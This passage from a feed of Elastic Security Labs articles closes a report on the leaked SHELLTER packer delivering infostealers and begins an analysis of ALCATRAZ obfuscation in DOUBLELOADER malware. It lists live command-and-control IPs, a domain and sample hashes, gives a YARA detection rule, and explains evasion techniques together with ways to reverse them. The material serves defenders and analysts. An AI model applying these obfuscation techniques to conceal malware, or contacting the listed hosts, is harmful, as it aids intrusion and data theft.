<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image5.png" alt="Submission data for the LUMMA sample" /></p>
<h3>Want-to-Sell</h3>
<p>On May 16th, Twitter/X user <a href="https://x.com/DarkWebInformer">@darkwebinformer</a> <a href="https://x.com/DarkWebInformer/status/1923472392157790700">posted</a> a screenshot with the caption:</p>
<blockquote>
<p>🚨Shellter Elite v11.0 up for sale on a popular forum</p>
</blockquote>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image19.png" alt="Dark Web Informer’s screenshot of Shellter Elite [Sell] forum post" /></p>
<p>“Exploit Garant” in this case refers to an escrow-like third-party that mediates the transaction.</p>
<h3>ARECHCLIENT2</h3>
<p>Starting around May, we observed campaigns <a href="https://www.reddit.com/r/PartneredYoutube/comments/1ks2svg/skillshare_sponsorship/">targeting</a> content creators with lures centered around sponsorship opportunities. These appear to be phishing emails sent to individuals with a YouTube channel impersonating brands such as Udemy, Skillshare, Pinnacle Studio, and Duolingo. The emails include download links to archive files (<code>.rar</code>), which contain legitimate promotional content packaged with a SHELLTER-protected executable.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image41.png" alt="RAR archive contents" /></p>
<p>This underlying <a href="https://www.virustotal.com/gui/file/748149df038a771986691e3f54afea609ceb9fbfcbec92145beb586bec039e6a/details">executable</a> shares traits and behaviors with our previous SHELLTER analysis. As of this writing, we can still see <a href="https://www.virustotal.com/gui/file/b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad/details">samples</a> with very low detection rates in VirusTotal. This is due to multiple factors associated with custom-built features to avoid static analysis, including polymorphic code, backdooring code into legitimate applications, and the application of code-signing certificates.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image25.png" alt="Low detection of SHELLTER-protected ARECHCLIENT2" /></p>
<p>The embedded payload observed in this file deploys the infostealer ARECHCLIENT2, also known as SECTOP RAT. The C2 for this stealer points to <code>185.156.72[.]80:15847,</code> which was <a href="https://www.elastic.co/pt/security-labs/a-wretch-client">previously identified</a> by our team on June 17th when we discussed this threat in association with the GHOSTPULSE loader.</p>
<h3>RHADAMANTHYS</h3>
<p>These infections begin with YouTube videos targeting topics such as game hacking and gaming mods, with video comments linking to the malicious files hosted on MediaFire.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image10.png" alt="Distribution through YouTube comments" /></p>
<p>One of the <a href="https://www.virustotal.com/gui/file/c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30/details">files</a> that was previously distributed using this method has been submitted 126 unique times as of this publication by different individuals.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image3.png" alt="Submission data for RHADAMANTHYS sample" /></p>
<p>This file shares the same behavioral characteristics as the same underlying code from the previous SHELLTER analysis sections. The embedded payload with this sample deploys RHADAMANTHYS infostealer.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image46.png" alt="RHADAMANTHYS strings" /></p>
<h2>SHELLTER Unpacker</h2>
<p>Elastic Security Labs is <a href="https://github.com/elastic/labs-releases/tree/main/tools/shellter">releasing</a> a dynamic unpacker for binaries protected by SHELLTER. This tool leverages a combination of dynamic and static analysis techniques to automatically extract multiple payload stages from a SHELLTER-protected binary.</p>
<p>As SHELLTER offers a wide range of optional features, this unpacker is not fully comprehensive, although it does successfully process a large majority of tested samples. Even with unsupported binaries, it is typically able to extract at least one payload stage.</p>
<p><strong>For safety reasons, this tool should only be executed within an isolated virtual machine.</strong> During the unpacking process, potentially malicious executable code is mapped into memory. Although some basic safeguards have been implemented, they are not infallible.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/image26.png" alt="SHELLTER Unpacker screenshot" /></p>
<h2>Conclusion</h2>
<p>Despite the commercial OST community's best efforts to retain their tools for legitimate purposes, mitigation methods are imperfect. They, like many of our customers, face persistent, motivated attackers. Although the Shellter Project is a victim in this case through intellectual property loss and future development time, other participants in the security space must now contend with real threats wielding more capable tools.</p>
<p>We expect:</p>
<ul>
<li>This illicit version of SHELLTER will continue to circulate through the criminal community and potentially transition to nation-state-aligned actors.</li>
<li>The Shellter Project will update and release a version that mitigates the detection opportunities identified in this analysis.
<ul>
<li>Any new tooling will remain a target for malicious actors.</li>
</ul>
</li>
<li>More advanced threats will analyze these samples and incorporate features into their toolsets.</li>
</ul>
<p>Our aim is that this analysis will aid defenders in the early detection of these identified infostealer campaigns and prepare them for a potential expansion of these techniques to other areas of the offensive landscape.</p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0100/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0042/">Resource Development</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1071/">Application Layer Protocol</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/003/">Process Injection: Thread Execution Hijacking</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/016/">Obfuscated Files or Information: Junk Code Insertion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Content Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1588/">Obtain Capabilities</a></li>
</ul>
<h2>Mitigating SHELLTER</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_shellcode_from_unusual_microsoft_signed_module.toml">Shellcode from Unusual Microsoft Signed Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml">Unbacked Shellcode from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_potential_evasion_via_invalid_code_signature.toml">Potential Evasion via Invalid Code Signature</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_thread_suspension_from_unbacked_memory.toml">Thread Suspension from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_suspicious_executable_memory_mapping.toml">Suspicious Executable Memory Mapping</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<pre><code class="language-yara">rule Windows_Trojan_Shellter {  
    meta:  
        author = &quot;Elastic Security&quot;  
        creation_date = &quot;2025-06-30&quot;  
        last_modified = &quot;2025-06-30&quot;  
        os = &quot;Windows&quot;  
        arch = &quot;x86&quot;  
        category_type = &quot;Trojan&quot;  
        family = &quot;Shellter&quot;  
        threat_name = &quot;Windows.Trojan.Shellter&quot;  
        reference_sample = &quot;c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30&quot;

    strings:  
        $seq_api_hashing = { 48 8B 44 24 ?? 0F BE 00 85 C0 74 ?? 48 8B 44 24 ?? 0F BE 00 89 44 24 ?? 48 8B 44 24 ?? 48 FF C0 48 89 44 24 ?? 8B 04 24 C1 E8 ?? 8B 0C 24 C1 E1 ?? 0B C1 }  
        $seq_debug = { 48 8B 49 30 8B 49 70 8B 40 74 0B C1 25 70 00 00 40 85 C0 75 22 B8 D4 02 00 00 48 05 00 00 FE 7F }  
        $seq_mem_marker = { 44 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 33 C0 83 F8 ?? 74 ?? 48 8B 44 24 ?? 8B 4C 24 ?? 39 08 75 ?? EB ?? 48 63 44 24 ?? 48 8B 4C 24 }  
        $seq_check_jmp_rcx = { 48 89 4C 24 ?? B8 01 00 00 00 48 6B C0 00 48 8B 4C 24 ?? 0F B6 04 01 3D FF 00 00 00 75 ?? B8 01 00 00 00 48 6B C0 01 48 8B 4C 24 ?? 0F B6 04 01 3D E1 00 00 00 75 ?? B8 01 00 00 00 }  
        $seq_syscall_stub = { C6 84 24 98 00 00 00 4C C6 84 24 99 00 00 00 8B C6 84 24 9A 00 00 00 D1 C6 84 24 9B 00 00 00 B8 C6 84 24 9C 00 00 00 00 C6 84 24 9D 00 00 00 00 C6 84 24 9E 00 00 00 00 }  
        $seq_mem_xor = { 48 8B 4C 24 ?? 0F B6 04 01 0F B6 4C 24 ?? 3B C1 74 ?? 8B 44 24 ?? 0F B6 4C 24 ?? 48 8B 54 24 ?? 0F B6 04 02 33 C1 8B 4C 24 ?? 48 8B 54 24 ?? 88 04 0A }  
        $seq_excep_handler = { 48 89 4C 24 08 48 83 EC 18 48 B8 E8 E7 E6 E5 E4 E3 E2 E1 48 89 04 24 48 8B 44 24 20 48 8B 00 81 38 05 00 00 C0 }  
    condition:  
        3 of them  
}  
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/shellter">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30</td>
<td align="left">SHA-256</td>
<td align="left">Endorphin.exe</td>
<td align="left">SHELLTER-PROTECTED RHADAMANTHYS</td>
</tr>
<tr>
<td align="left">7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10</td>
<td align="left">SHA-256</td>
<td align="left">SUPERAntiSpyware.exe</td>
<td align="left">SHELLTER-PROTECTED UNKNOWN FAMILY</td>
</tr>
<tr>
<td align="left">b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad</td>
<td align="left">SHA-256</td>
<td align="left">Aac3572DramHal_x64.exe</td>
<td align="left">SHELLTER-PROTECTED ARECHCLIENT2</td>
</tr>
<tr>
<td align="left">da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880</td>
<td align="left">SHA-256</td>
<td align="left">Branster.exe</td>
<td align="left">SHELLTER-PROTECTED LUMMA</td>
</tr>
<tr>
<td align="left">70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1</td>
<td align="left">SHA-256</td>
<td align="left">IMCCPHR.exe</td>
<td align="left">SHELLTER-PROTECTED UNKNOWN FAMILY</td>
</tr>
<tr>
<td align="left">263ab8c9ec821ae573979ef2d5ad98cda5009a39e17398cd31b0fad98d862892</td>
<td align="left">SHA-256</td>
<td align="left">Pinnacle Studio Advertising materials.rar</td>
<td align="left">LURE ARCHIVE</td>
</tr>
<tr>
<td align="left">eaglekl[.]digital</td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">LUMMA C&amp;C server</td>
</tr>
<tr>
<td align="left">185.156.72[.]80</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">ARECHCLIENT2 C&amp;C server</td>
</tr>
<tr>
<td align="left">94.141.12[.]182</td>
<td align="left">ipv4-addr</td>
<td align="left">plotoraus[.]shop server</td>
<td align="left">RHADAMANTHYS C&amp;C server</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://x.com/DarkWebInformer/status/1923472392157790700">https://x.com/DarkWebInformer/status/1923472392157790700</a></li>
<li><a href="https://www.shellterproject.com/shellter-editions-feature-comparison-table/">https://www.shellterproject.com/shellter-editions-feature-comparison-table/</a></li>
<li><a href="https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf">https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf</a></li>
<li><a href="https://github.com/elastic/labs-releases/tree/main/tools/shellter">https://github.com/elastic/labs-releases/tree/main/tools/shellter</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/taking-shellter/Security Labs Images 2.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[De-obfuscating ALCATRAZ]]></title>
            <link>https://www.elastic.co/pt/security-labs/deobfuscating-alcatraz</link>
            <guid>deobfuscating-alcatraz</guid>
            <pubDate>Fri, 23 May 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[An exploration of techniques used by the obfuscator ALCATRAZ.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs analyzes diverse malware that comes through our threat hunting pipelines and telemetry queues. We recently ran into a new malware family called DOUBLELOADER, seen alongside the RHADAMANTHYS infostealer.  One interesting attribute of DOUBLELOADER is that it is protected with an open-source obfuscator, <a href="https://github.com/weak1337/Alcatraz">ALCATRAZ</a> first released in 2023. While this project had its roots in the game hacking community, it’s also been observed in the e-crime space, and has been used in targeted <a href="https://news.sophos.com/en-us/2024/09/10/crimson-palace-new-tools-tactics-targets/">intrusions</a>.</p>
<p>The objective of this post is to walk through various obfuscation techniques employed by ALCATRAZ, while highlighting methods to combat these techniques as malware analysts. These techniques include <a href="https://tigress.wtf/flatten.html">control flow flattening</a>, <a href="https://github.com/mike1k/perses?tab=readme-ov-file#introduction">instruction mutation</a>, constant unfolding, LEA constant hiding, anti-disassembly <a href="https://1malware1.medium.com/anti-disassembly-techniques-e012338f2ae0">tricks</a> and entrypoint obfuscation.</p>
<h3>Key takeaways</h3>
<ul>
<li>The open-source obfuscator ALCATRAZ has been seen within new malware deployed alongside RHADAMANTHYS infections</li>
<li>Obfuscation techniques such as control flow flattening continue to serve as road blocks for analysts</li>
<li>By understanding obfuscation techniques and how to counter them, organizations can improve their ability to effectively triage and analyze protected binaries.</li>
<li>Elastic Security Labs releases tooling to deobfuscate ALCATRAZ protected binaries are released with this post</li>
</ul>
<h2>DOUBLELOADER</h2>
<p>Starting last December, our team observed a generic backdoor malware coupled with <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys">RHADAMANTHYS</a> stealer infections. Based on the PDB path, this malware is self-described as DOUBLELOADER.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image6.png" alt="PDB path in DOUBLELOADER" title="PDB path in DOUBLELOADER" /></p>
<p>This malware leverages syscalls such as <code>NtOpenProcess</code>, <code>NtWriteVirtualMemory</code>, <code>NtCreateThreadEx</code> launching unbacked code within the Windows desktop/file manager (<code>explorer.exe</code>). The malware collects host information, requests an updated version of itself and starts beaconing to a hardcoded IP (<code>185.147.125.81</code>) stored within the binary.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image31.png" alt="Outbound C2 traffic from DOUBLELOADER" title="Outbound C2 traffic from DOUBLELOADER" /></p>
<p>DOUBLELOADER samples include a non-standard section (<code>.0Dev</code>) with executable permissions, this is a toolmark left based on the author's handle for the binary obfuscation tool, <a href="https://github.com/weak1337/Alcatraz"><code>ALCATRAZ</code></a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image32.png" alt="Section creation using ALCATRAZ" title="Section creation using ALCATRAZ" /></p>
<p>Obfuscators such as ALCATRAZ end up increasing the complexity when triaging malware. Its main goal is to hinder binary analysis tools and increase the time of the reverse engineering process through different techniques; such as hiding the control flow or making decompilation hard to follow. Below is an example of obfuscated control flow of one function inside DOUBLELOADER.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image5.png" alt="Obfuscated control flow in DOUBLELOADER" title="Obfuscated control flow in DOUBLELOADER" /></p>
<p>The remainder of the post will focus on the various obfuscation techniques used by ALCATRAZ. We will use the first-stage of DOUBLELOADER along with basic code examples to highlight ALCATRAZ's features.</p>
<h2>ALCATRAZ</h2>
<h3>ALCATRAZ Overview</h3>
<p>Alcatraz is an open-source obfuscator initially released in January 2023. While the project is recognized within the game hacking community as a foundational tool for learning obfuscation techniques, it’s also been observed being abused by e-crime and <a href="https://news.sophos.com/en-us/2024/09/10/crimson-palace-new-tools-tactics-targets/">APT groups</a>.</p>
<p>Alcatraz’s code base contains 5 main features centered around standard code obfuscation techniques along with enhancement to obfuscate the entrypoint. Its workflow follows a standard <code>bin2bin</code> format, this means the user provides a compiled binary then after the transformations, they will receive a new compiled binary. This approach is particularly appealing to game hackers/malware developers due to its ease of use, requiring minimal effort and no modifications at the source code level.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image29.png" alt="ALCATRAZ - menu" title="ALCATRAZ - menu" /></p>
<p>The developer can choose to obfuscate all or specific functions as well as choose which obfuscation techniques to apply to each function. After compilation, the file is generated with the string (<code>obf</code>) appended to the end of the filename.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image14.png" alt="Example of binary before and after obfuscation" title="Example of binary before and after obfuscation" /></p>
<h2>Obfuscation techniques in ALCATRAZ</h2>
<p>The following sections will go through the various obfuscation techniques implemented by ALCATRAZ.</p>
<h3>Entrypoint obfuscation</h3>
<p>Dealing with an obfuscated entrypoint is like getting a flat tire at the start of a family roadtrip. The idea is centered on confusing analysts and binary tooling where it’s not directly clear where the program starts, causing confusion at the very beginning of the analysis process.</p>
<p>The following is the view of a clean entrypoint (<code>0x140001368</code>) from a non-obfuscated program within IDA Pro.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image10.png" alt="Non-obfuscated entrypoint" title="Non-obfuscated entrypoint" /></p>
<p>By enabling entrypoint obfuscation, ALCATRAZ moves the entrypoint then includes additional code with an algorithm to calculate the new entrypoint of the program. Below is a snippet of the decompiled view of the obfuscated entry-point.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image30.png" alt="Decompilation of obfuscated entrypoint" title="Decompilation of obfuscated entrypoint" /></p>
<p>As ALCATRAZ is an open-source obfuscator, we can find the custom entrypoint <a href="https://github.com/weak1337/Alcatraz/blob/739e65ebadaeb3f8206fb2199700725331465abb/Alcatraz/obfuscator/misc/custom_entry.cpp#L20">code</a> to see how the calculation is performed or reverse our own obfuscated example. In our decompilation, we can see the algorithm uses a few fields from the PE header such as the <code>Size of the Stack Commit</code>, <code>Time Date Stamp</code> along with the first four bytes from the <code>.0dev</code> section. These fields are parsed then used with bitwise operations such as rotate right (ROR) and exclusive-or (XOR) to calculate the entrypoint.</p>
<p>Below is an example output of IDA Python script (Appendix A) that parses the PE and finds the true entrypoint, confirming the original starting point (<code>0x140001368</code>) with the non-obfuscated sample.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image18.png" alt="Real entrypoint after obfuscation" title="Real entrypoint after obfuscation" /></p>
<h3>Anti-disassembly</h3>
<p>Malware developers and obfuscators use anti-disassembly tricks to confuse or break disassemblers in order to make static analysis harder. These techniques abuse weaknesses during linear sweeps and recursive disassembly, preventing clean code reconstruction where the analyst is then forced to manually or automatically fix the underlying instructions.</p>
<p>ALCATRAZ implements one form of this technique by modifying any instructions starting with the <code>0xFF</code> byte by adding a short jump instruction ( <code>0xEB</code>) in front. The <code>0xFF</code> byte can represent the start of multiple valid instructions dealing with calls, indirect jumps, pushes on the stack. By adding the short jump  <code>0xEB</code> in front, this effectively jumps to the next byte <code>0xFF</code>. While it’s not complex, the damage is done breaking disassembly and requiring some kind of intervention.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image26.png" alt="Anti-disassembly technique in ALCATRAZ" title="Anti-disassembly technique in ALCATRAZ" /></p>
<p>In order to fix this specific technique, the file can be patched by replacing each occurrence of the <code>0xEB</code> byte with NOPs. After patching, the code is restored to a cleaner state, allowing the following <code>call</code> instruction to be correctly disassembled.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image1.png" alt="Anti-disassembly recovery" title="Anti-disassembly recovery" /></p>
<h3>Instruction Mutation</h3>
<p>One common technique used by obfuscators is instruction mutation, where instructions are transformed in a way that preserves their original behavior, but makes the code harder to understand. Frameworks such as <a href="https://tigress.wtf/index.html">Tigress</a> or <a href="https://github.com/mike1k/perses">Perses</a> are great examples of obfuscation research around instruction mutation.</p>
<p>Below is an example of this technique implemented by ALCATRAZ, where any addition between two registers is altered, but its semantic equivalence is kept intact. The simple <code>add</code> instruction gets transformed to 5 different instructions (<code>push</code>, <code>not</code>, <code>sub</code>, <code>pop</code>, <code>sub</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image9.png" alt="Example of instruction mutation via ALCATRAZ" title="Example of instruction mutation via ALCATRAZ" /></p>
<p>In order to correct this, we can use pattern matching to find these 5 instructions together, disassemble the bytes to find which registers are involved, then use an assembler such as Keystone to generate the correct corresponding bytes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image12.png" alt="Recovering instructions from mutation technique" title="Recovering instructions from mutation technique" /></p>
<h3>Constant Unfolding</h3>
<p>This obfuscation technique is prevalent throughout the DOUBLELOADER sample and is a widely used method in various forms of malware. The concept here is focused on inversing the compilation process; where instead of optimizing calculations that are known at compile time, the obfuscator “unfolds” these constants making the disassembly and decompilation complex and confusing. Below is a simple example of this technique where the known constant (<code>46</code>) is broken up into two mathematical operations.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image3.png" alt="Unfolding process example" title="Unfolding process example" /></p>
<p>In DOUBLELOADER, we run into this technique being used anytime when immediate values are moved into a register. These immediate values are replaced with multiple bitwise operations masking these constant values, thus disrupting any context and the analyst’s flow. For example, in the disassembly below on the left-hand side, there is a comparison instruction of EAX value at address (<code>0x18016CD93</code>). By reviewing the previous instructions, it’s not obvious or clear what the EAX value should be due to multiple obscure bitwise calculations. If we debug the program, we can see the EAX value is set to <code>0</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image13.png" alt="Viewing unfolding technique in debugger" title="Viewing unfolding technique in debugger" /></p>
<p>In order to clean this obfuscation technique, we can confirm its behavior with our own example where we can use the following source code and see how the transformation is applied.</p>
<pre><code class="language-c++">#include &lt;iostream&gt;

int add(int a, int b)
{
	return a + b;
}

int main()
{
	int c;
	c = add(1, 2);
	printf(&quot;Meow %d&quot;,c);
	return 0;
}
</code></pre>
<p>After compiling, we can view the disassembly of the <code>main</code> function in the clean version on the left and see these two constants (<code>2,1</code>) moved into the EDX and ECX register. On the right side, is the transformed version, the two constants are hidden among the newly added instructions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image16.png" alt="Mutation transformation: before vs after" title="Mutation transformation: before vs after" /></p>
<p>By using pattern matching techniques, we can look for these sequences of instructions, emulate the instructions to perform the various calculations to get the original values back, and then patch the remaining bytes with NOP’s to make sure the program will still run.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image20.png" alt="Using emulation to repair immediate moves" title="Using emulation to repair immediate moves" /></p>
<h3>LEA Obfuscation</h3>
<p>Similar to the previously discussed technique, LEA (Load Effective Address) obfuscation is focused on obscuring the immediate values associated with LEA instructions. An arithmetic calculation with subtraction will follow directly behind the LEA instruction to compute the original intended value. While this may seem like a minor change, it can have a significant impact breaking cross-references to strings and data — which are essential for effective binary analysis.</p>
<p>Below is an example of this technique within DOUBLELOADER where the RAX register value is disguised through a pattern of loading an initial value (<code>0x1F4DFCF4F</code>), then subtracting (<code>0x74D983C7</code>) to give us a new computed value (<code>0x180064B88</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image23.png" alt="LEA obfuscation pattern in ALCATRAZ" title="LEA obfuscation pattern in ALCATRAZ" /></p>
<p>If we go to that address inside our sample, we are taken to the read-only data section, where we can find the referenced string <code>bad array new length</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image27.png" alt="Referenced string after LEA obfuscation" title="Referenced string after LEA obfuscation" /></p>
<p>In order to correct this technique, we can use pattern matching to find these specific instructions, perform the calculation, then re-construct a new LEA instruction. Within 64-bit mode, LEA uses RIP-relative addressing so the address is calculated based on the current instruction pointer (RIP). Ultimately, we end up with a new instruction that looks like this: <code>lea rax, [rip - 0xFF827]</code>.</p>
<p>Below are the steps to produce this final instruction:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image17.png" alt="Displacement calculation for LEA instruction" title="Displacement calculation for LEA instruction" /></p>
<p>With this information, we can use IDA Python to patch all these patterns out, below is an example of a fixed LEA instruction.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image28.png" alt="Patching LEA instructions in DOUBLELOADER" title="Patching LEA instructions in DOUBLELOADER" /></p>
<h3>Control Flow Obfuscation</h3>
<p><strong>Control flow flattening</strong> is a powerful obfuscation technique that disrupts the traditional structure of a program’s control flow by eliminating conventional constructs like conditional branches and loops. Instead, it restructures execution using a centralized dispatcher, which determines the next basic block to execute based on a state variable, making analysis and decompilation significantly more difficult. Below is a simple diagram that represents the differences between an unflattened and flattened control flow.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image21.png" alt="Standard control flow vs flattened control flow" title="Standard control flow vs flattened control flow" /></p>
<p>Our team has observed this technique in various malware such as <a href="https://www.elastic.co/pt/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">DOORME</a> and it should come as no surprise in this case, that flattened control flow is one of the main <a href="https://github.com/weak1337/Alcatraz/tree/master?tab=readme-ov-file#control-flow-flattening">features</a> within the ALCATRAZ obfuscator. In order to approach un-flattening, we focused on established tooling by using IDA plugin <a href="https://eshard.com/posts/d810-deobfuscation-ida-pro">D810</a> written by security researcher Boris Batteux.</p>
<p>We will start with our previous example program using the common <code>_security_init_cookie</code> function used to detect buffer overflows. Below is the control flow diagram of the cookie initialization function in non-obfuscated form. Based on the graph, we can see there are six basic blocks, two conditional branches, and we can easily follow the execution flow.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image11.png" alt="Control flow of non-obfuscated security_init_cookie function" title="Control flow of non-obfuscated security_init_cookie function" /></p>
<p>If we take the same function and apply ALCATRAZ's control flow flattening feature, the program’s control flow looks vastly different with 22 basic blocks, 8 conditional branches, and a new dispatcher. In the figure below, the color-filled blocks represent the previous basic blocks from the non-obfuscated version, the remaining blocks in white represent added obfuscator code used for dispatching and controlling the execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image19.png" alt="Obfuscated control flow of security_init_cookie function" title="Obfuscated control flow of security_init_cookie function" /></p>
<p>If we take a look at the decompilation, we can see the function is now broken into different parts within a <code>while</code> loop where a new <code>state</code> variable is used to guide the program along with remnants from the obfuscation including <code>popf/pushf</code> instructions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image15.png" alt="Obfuscated decompilation of security_init_cookie function" title="Obfuscated decompilation of security_init_cookie function" /></p>
<p>For cleaning this function, D810 applies two different rules (<code>UnflattenerFakeJump</code>, <code>FixPredecessorOfConditionalJumpBlock</code>) that apply microcode transformations to improve decompilation.</p>
<pre><code>2025-04-03 15:44:50,182 - D810 - INFO - Starting decompilation of function at 0x140025098
2025-04-03 15:44:50,334 - D810 - INFO - glbopt finished for function at 0x140025098
2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'UnflattenerFakeJump' has been used 1 times for a total of 3 patches
2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'FixPredecessorOfConditionalJumpBlock' has been used 1 times for a total of 2 patches
</code></pre>
<p>When we refresh the decompiler, the control-flow flattening is removed, and the pseudocode is cleaned up.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/deobfuscating-alcatraz/image2.png" alt="Control-flow obfuscation removed from decompilation by D810" title="Control-flow obfuscation removed from decompilation by D810" /></p>
<p>While this is a good example, fixing control-flow obfuscation can often be a manual and timely process that is function-dependent. In the next section, we will gather up some of the techniques we learned and apply it to DOUBLELOADER.</p>
<h2>Cleaning a DOUBLELOADER function</h2>
<p>One of the challenges when dealing with obfuscation in malware is not so much the individual obfuscation techniques, but when the techniques are layered. Additionally, in the case of DOUBLELOADER, large portions of code are placed in function chunks with ambiguous boundaries, making it challenging to analyze. In this section, we will go through a practical example showing the cleaning process for a DOUBLELOADER function protected by ALCATRAZ.</p>
